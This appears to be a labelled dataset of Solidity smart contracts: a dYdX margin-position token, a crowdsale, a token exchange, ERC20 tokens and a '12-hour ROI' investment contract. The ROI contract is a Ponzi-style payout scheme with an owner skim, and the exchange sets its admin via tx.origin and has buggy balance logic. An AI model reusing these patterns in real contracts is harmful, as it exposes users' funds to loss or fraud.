bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library StringHelpers {
function strcat(
bytes stringA,
bytes stringB
)
internal
pure
returns (bytes)
{
uint256 lengthA = stringA.length;
uint256 lengthB = stringB.length;
bytes memory result = new bytes(lengthA + lengthB);
uint256 i = 0;
for (i = 0; i < lengthA; i++) {
result[i] = stringA[i];
}
for (i = 0; i < lengthB; i++) {
result[lengthA + i] = stringB[i];
}
return result;
}
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Long is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
return DetailedERC20(heldToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "l[UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"l",
bytes(DetailedERC20(heldToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Leveraged Long Token [UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"dYdX Leveraged Long Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256
)
internal
view
returns (uint256)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
return positionBalance.sub(totalSupply_);
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
uint256 requestedTokenAmount = MathHelpers.getPartialAmount(
requestedCloseAmount,
positionPrincipal,
positionBalance
);
if (requestedTokenAmount <= balance) {
return (requestedTokenAmount, requestedCloseAmount);
}
uint256 allowedCloseAmount = MathHelpers.getPartialAmount(
balance,
positionBalance,
positionPrincipal
);
assert(allowedCloseAmount < requestedCloseAmount);
uint256 allowedTokenAmount = MathHelpers.getPartialAmount(
allowedCloseAmount,
positionPrincipal,
positionBalance
);
return (allowedTokenAmount, allowedCloseAmount);
}
}
contract ERC20CappedLong is
ERC20Long,
ERC20CappedPosition
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap
)
public
ERC20Long(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedLong#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 1 | 4,432 |
pragma solidity ^0.4.24;
contract TwelveHourROITwo {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 200;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 2 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,644 |
pragma solidity ^0.4.20;
interface Token {
function transfer(address _to, uint _value) returns (bool success);
}
contract Crowdsale {
address public beneficiary;
uint public softCap;
uint public hardCap;
uint public amountRaised;
uint public deadline;
uint public price;
Token public tokenReward;
mapping(address => uint256) public balanceOf;
bool softCapReached = false;
bool crowdsaleClosed = false;
uint softCapInEther = 500 ether;
uint hardCapInEther = 3200 ether;
uint priceInEther = 0.0002 ether;
uint tokenDecimal = 18;
uint duration = 120 days;
uint startDate = 1524762900;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
softCap = softCapInEther;
hardCap = hardCapInEther;
deadline = startDate + duration;
price = priceInEther;
tokenReward = Token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
require(hardCap >= amountRaised);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * 10 ** uint256(tokenDecimal) / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= softCap){
softCapReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!softCapReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (softCapReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
softCapReached = false;
}
}
}
} | 1 | 4,143 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract BancorKillerContract {
using SafeMath for uint256;
address public admin;
address public base_token;
address public traded_token;
uint256 public base_token_seed_amount;
uint256 public traded_token_seed_amount;
uint256 public commission_ratio;
bool public base_token_is_seeded;
bool public traded_token_is_seeded;
mapping (address => uint256) public token_balance;
constructor(address _base_token, address _traded_token,uint256 _base_token_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public {
admin = tx.origin;
base_token = _base_token;
traded_token = _traded_token;
base_token_seed_amount = _base_token_seed_amount;
traded_token_seed_amount = _traded_token_seed_amount;
commission_ratio = _commission_ratio;
}
function transferTokensThroughProxyToContract(address _from, address _to, uint256 _amount) private {
token_balance[traded_token] = token_balance[traded_token].add(_amount);
require(Token(traded_token).transferFrom(_from,_to,_amount));
}
function transferTokensFromContract(address _to, uint256 _amount) private {
token_balance[traded_token] = token_balance[traded_token].sub(_amount);
require(Token(traded_token).transfer(_to,_amount));
}
function transferETHToContract() private {
token_balance[0] = token_balance[0].add(msg.value);
}
function transferETHFromContract(address _to, uint256 _amount) private {
token_balance[0] = token_balance[0].sub(_amount);
_to.transfer(_amount);
}
function deposit_token(uint256 _amount) private {
transferTokensThroughProxyToContract(msg.sender, this, _amount);
}
function deposit_eth() private {
transferETHToContract();
}
function withdraw_token(uint256 _amount) public {
require(msg.sender == admin);
uint256 currentBalance_ = token_balance[traded_token];
require(currentBalance_ >= _amount);
transferTokensFromContract(admin, _amount);
}
function withdraw_eth(uint256 _amount) public {
require(msg.sender == admin);
uint256 currentBalance_ = token_balance[0];
require(currentBalance_ >= _amount);
transferETHFromContract(admin, _amount);
}
function set_traded_token_as_seeded() private {
traded_token_is_seeded = true;
}
function set_base_token_as_seeded() private {
base_token_is_seeded = true;
}
function seed_traded_token() public {
require(!market_is_open());
set_traded_token_as_seeded();
deposit_token(traded_token_seed_amount);
}
function seed_base_token() public payable {
require(!market_is_open());
require(msg.value == base_token_seed_amount);
set_base_token_as_seeded();
deposit_eth();
}
function market_is_open() private view returns(bool) {
return (base_token_is_seeded && traded_token_is_seeded);
}
function get_amount_sell(uint256 _amount) public view returns(uint256) {
uint256 base_token_balance_ = token_balance[base_token];
uint256 traded_token_balance_ = token_balance[traded_token];
uint256 traded_token_balance_plus_amount_ = traded_token_balance_ + _amount;
return (2*base_token_balance_*_amount)/(traded_token_balance_ + traded_token_balance_plus_amount_);
}
function get_amount_buy(uint256 _amount) public view returns(uint256) {
uint256 base_token_balance_ = token_balance[base_token];
uint256 traded_token_balance_ = token_balance[traded_token];
uint256 base_token_balance_plus_amount_ = base_token_balance_ + _amount;
return (_amount*traded_token_balance_*(base_token_balance_plus_amount_ + base_token_balance_))/(2*base_token_balance_plus_amount_*base_token_balance_);
}
function get_amount_minus_fee(uint256 _amount) private view returns(uint256) {
return (_amount*(1 ether - commission_ratio))/(1 ether);
}
function complete_sell_exchange(uint256 _amount_give) private {
uint256 amount_get_ = get_amount_sell(_amount_give);
require(amount_get_ < token_balance[base_token]);
uint256 amount_get_minus_fee_ = get_amount_minus_fee(amount_get_);
uint256 admin_fee = amount_get_ - amount_get_minus_fee_;
transferTokensThroughProxyToContract(msg.sender,this,_amount_give);
transferETHFromContract(msg.sender,amount_get_minus_fee_);
transferETHFromContract(admin, admin_fee);
}
function complete_buy_exchange() private {
uint256 amount_give_ = msg.value;
uint256 amount_get_ = get_amount_buy(amount_give_);
require(amount_get_ < token_balance[traded_token]);
uint256 amount_get_minus_fee_ = get_amount_minus_fee(amount_get_);
uint256 admin_fee = amount_get_ - amount_get_minus_fee_;
transferETHToContract();
transferTokensFromContract(msg.sender, amount_get_minus_fee_);
transferTokensFromContract(admin, admin_fee);
}
function sell_tokens(uint256 _amount_give) public {
require(market_is_open());
complete_sell_exchange(_amount_give);
}
function buy_tokens() private {
require(market_is_open());
complete_buy_exchange();
}
function() public payable {
buy_tokens();
}
} | 1 | 2,878 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ApprovedTokenDone is StandardToken {
string public name = 'HALO';
string public symbol = 'HALO';
uint public decimals = 18;
uint public initialSupply = 101111101011110010110010;
string public publisher = 'TokenDone.io';
uint public CreationTime;
function ApprovedTokenDone() {
totalSupply = initialSupply;
balances[0xe90fFFd34aEcFE44db61a6efD85663296094A09c] = initialSupply;
CreationTime = now;
}
} | 1 | 4,202 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
